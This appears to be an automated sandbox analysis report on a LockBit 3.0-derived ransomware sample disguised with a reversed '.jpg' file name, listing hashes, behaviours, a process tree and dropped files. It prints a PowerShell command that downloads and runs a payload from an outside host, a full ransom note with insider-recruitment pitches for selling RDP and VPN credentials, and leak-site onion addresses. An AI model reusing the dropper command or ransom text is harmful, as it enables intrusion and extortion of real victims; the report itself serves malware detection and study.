Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2024, 12:45

General

  • Target

    private server/death.‮gpj.scr

  • Size

    466KB

  • MD5

    0fdbc8c24e84eea10dc25e81765014a1

  • SHA1

    2d566a2b94fc8b16b97200392db1bbe714c31289

  • SHA256

    e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58

  • SHA512

    3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f

  • SSDEEP

    12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://master-repogen.vercel.app/file/server.scr

Extracted

Path

C:\wlJ8FiR2h.README.txt

Family

lockbit

Ransom Note
~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom DeathGrip Ransomware Attack | t.me/DeathGripRansomware This computer is attacked by russian ransomware community of professional black hat hackers. Your every single documents / details is now under observation of those hackers. If you want to get it back then you have to pay 1000$ for it. This Attack Is Done By Team RansomVerse You Can Find Us On Telegram @DeathGripRansomware Contact The Owner For The Decrypter Of This Ransomware #DeathGripMalware >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on Telegram t.me/DeathGripRansomware >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz >>>> Your personal DECRYPTION ID: B7568014A48684D6D525F3F3722638C4 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using on Telegram messenger without registration and text t.me/DeathGripRansomware Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
URLs

http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion

http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion

http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion

http://lockbitsupp.uz

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion

http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion

http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion

http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion

http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion

http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion

http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

  • Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
  • Renames multiple (603) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\private server\death.‮gpj.scr
    "C:\Users\Admin\AppData\Local\Temp\private server\death.‮gpj.scr" /S
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\private server\Dropper.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3932
      • C:\Users\Admin\Downloads\server.scr
        "C:\Users\Admin\Downloads\server.scr"
        3⤵
        • Executes dropped EXE
        • Drops desktop.ini file(s)
        • Sets desktop wallpaper using registry
        • System Location Discovery: System Language Discovery
        • Modifies Control Panel
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5020
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
          • Drops file in System32 directory
          PID:1256
        • C:\ProgramData\8D6.tmp
          "C:\ProgramData\8D6.tmp"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1692
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\8D6.tmp >> NUL
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3852
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
    1⤵
      PID:3296
    • C:\Windows\system32\printfilterpipelinesvc.exe
      C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
      1⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:2088
      • C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
        /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{58467E6A-F936-40D9-9677-C040014536CD}.xps" 133699275327490000
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious use of SetWindowsHookEx
        PID:1536

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\$Recycle.Bin\S-1-5-21-4182098368-2521458979-3782681353-1000\SSSSSSSSSSS

            Filesize

            129B

            MD5

            442e3e612a38d7375a4cdf029a0c31fe

            SHA1

            2eceb4d69250cd30ece18e60c75cbe478920e43f

            SHA256

            a0bf0e46d2fa96b2731961d4972c6eee3e369aaa59186c1bd4a2f9aa8593d8ec

            SHA512

            3df0f050d5df148da2951822262068c1ab9be0d7026866c2767d5e46e4f5b0fc899a281de970c9551ad774b5ae1098033148503adf385842ee67c1aaad963bc9

          • C:\ProgramData\8D6.tmp

            Filesize

            14KB

            MD5

            294e9f64cb1642dd89229fff0592856b

            SHA1

            97b148c27f3da29ba7b18d6aee8a0db9102f47c9

            SHA256

            917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2

            SHA512

            b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pj5dtj0n.0hz.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\private server\Dropper.bat

            Filesize

            470B

            MD5

            8073ff57f855d5cd51346f011933d9fb

            SHA1

            d24fc282fb660945b87e1c41860a031f6e7ec9f6

            SHA256

            6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

            SHA512

            9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

          • C:\Users\Admin\AppData\Local\Temp\private server\death.jpg

            Filesize

            90KB

            MD5

            c20d78b78197da4290b2afe81b0c2ccb

            SHA1

            28c75507d5d7d86a1af24c0edcd43c3364e9ce8a

            SHA256

            04bc52e87077ef3d34d1800d40f7b2bcf079ea95317d3da26be35866640571fd

            SHA512

            ee764e0cdd3feb59cc4ba5601b4a8537ee63b6260bc89628eaf427efd451782e73c6136ad4ebf8c77c0fc0be1ee88f43a41fbf883d385ebb1e945f0ee1ec6fec

          • C:\Users\Admin\AppData\Local\Temp\{991571C9-B8C9-4682-8A91-3A0A8C3801F6}

            Filesize

            4KB

            MD5

            c1ca27596e941a8776f1e0cd38a981cf

            SHA1

            45467b204d0faa7f9a7c273f1fdab1c25ee16119

            SHA256

            e141bc56cd9539624d3b62c96f5c0406e35829021d2bde1d5cec2879e718f7d5

            SHA512

            a358bed9ac3521cc38c0db472f9a92554b0fd9d5dadcaafa0c6967f2548eadea17abe4b38c0a94afb4adaadc86a34ba5848bb1d47dcd8eadae0dcfff3f1854e1

          • C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2

            Filesize

            4KB

            MD5

            d5c98a9341a89d48c713bd8753f0d91f

            SHA1

            501fe2616552ae15002969da7e6955470a8a3b70

            SHA256

            7078dcf3da6b177541afdfb44c70f717b1861bb59ce5b4701cd4da180c611998

            SHA512

            2f3b6ab4a9c7fb9ed24800218f623b682c918854a2625a4e81a712050f85e72a5150782e75b9723e62aa086bd9ba90dff487492b149696a9b61d8d660d9bf4ab

          • C:\Users\Admin\Downloads\EEEEEEEEEE

            Filesize

            150KB

            MD5

            4e2009a4722e15aa9a151ddae06fc95a

            SHA1

            a80cca491c56a92b97839a2c7df59053a128671c

            SHA256

            387359fb5b10320e99887ca7e4c719492a88e1a197c84469b0f781ea75b3e5a5

            SHA512

            df48c334155b239ea4804637122aa5eb1a85a83d86d1f132ef095edcfc954029b7c685e19bdaa9664d902c3e8f4d13b9891d38179dd784bf715e4c68c6c1896e

          • C:\Users\Admin\Downloads\server.scr

            Filesize

            150KB

            MD5

            7e503c206e57f0295da017914a957d04

            SHA1

            96c375b9c57292db73c7ef2f2df16cf7be1604bb

            SHA256

            274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4

            SHA512

            cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c

          • C:\wlJ8FiR2h.README.txt

            Filesize

            3KB

            MD5

            b9674de0868a93e9121bdb1d02d80130

            SHA1

            79d692fd03d3110a4358e2cc7442af9517489f3f

            SHA256

            9268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c

            SHA512

            b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02

          • F:\$RECYCLE.BIN\S-1-5-21-4182098368-2521458979-3782681353-1000\DDDDDDDDDDD

            Filesize

            129B

            MD5

            a4a7bedfc515c69d11fbecc854e94b40

            SHA1

            a26ec1f57e2b941fcacf3131d521d8cf0e0a308b

            SHA256

            9dd8a702fd863f8388e6351d7fc1c8869a29ca2537168c3e8cad80a42d11aef5

            SHA512

            ad618086ee6531e00eb39ae0eebfd4747ad74275e5cf45ae6edc349548e480679c518b175147ed52d22f843cff2111656ded1c8f32a08aa2fbc0396cbc8de7fa

          • memory/1536-3020-0x00007FFCFC4E0000-0x00007FFCFC4F0000-memory.dmp

            Filesize

            64KB

          • memory/1536-3019-0x00007FFCFC4E0000-0x00007FFCFC4F0000-memory.dmp

            Filesize

            64KB

          • memory/1536-2989-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

            Filesize

            64KB

          • memory/1536-2988-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

            Filesize

            64KB

          • memory/1536-2986-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

            Filesize

            64KB

          • memory/1536-2987-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

            Filesize

            64KB

          • memory/1536-2985-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

            Filesize

            64KB

          • memory/3932-32-0x00000000745B0000-0x0000000074D60000-memory.dmp

            Filesize

            7.7MB

          • memory/3932-28-0x0000000006490000-0x00000000064AA000-memory.dmp

            Filesize

            104KB

          • memory/3932-7-0x00000000745BE000-0x00000000745BF000-memory.dmp

            Filesize

            4KB

          • memory/3932-11-0x0000000004EC0000-0x0000000004EE2000-memory.dmp

            Filesize

            136KB

          • memory/3932-9-0x00000000745B0000-0x0000000074D60000-memory.dmp

            Filesize

            7.7MB

          • memory/3932-13-0x0000000005830000-0x0000000005896000-memory.dmp

            Filesize

            408KB

          • memory/3932-19-0x00000000745B0000-0x0000000074D60000-memory.dmp

            Filesize

            7.7MB

          • memory/3932-12-0x00000000057C0000-0x0000000005826000-memory.dmp

            Filesize

            408KB

          • memory/3932-27-0x0000000007620000-0x0000000007C9A000-memory.dmp

            Filesize

            6.5MB

          • memory/3932-26-0x0000000005FC0000-0x000000000600C000-memory.dmp

            Filesize

            304KB

          • memory/3932-8-0x00000000029B0000-0x00000000029E6000-memory.dmp

            Filesize

            216KB

          • memory/3932-10-0x0000000005090000-0x00000000056B8000-memory.dmp

            Filesize

            6.2MB

          • memory/3932-25-0x0000000005F80000-0x0000000005F9E000-memory.dmp

            Filesize

            120KB

          • memory/3932-24-0x0000000005940000-0x0000000005C94000-memory.dmp

            Filesize

            3.3MB

          • memory/5020-2990-0x00000000743F0000-0x0000000074600000-memory.dmp

            Filesize

            2.1MB

          • memory/5020-36-0x00000000743F0000-0x0000000074600000-memory.dmp

            Filesize

            2.1MB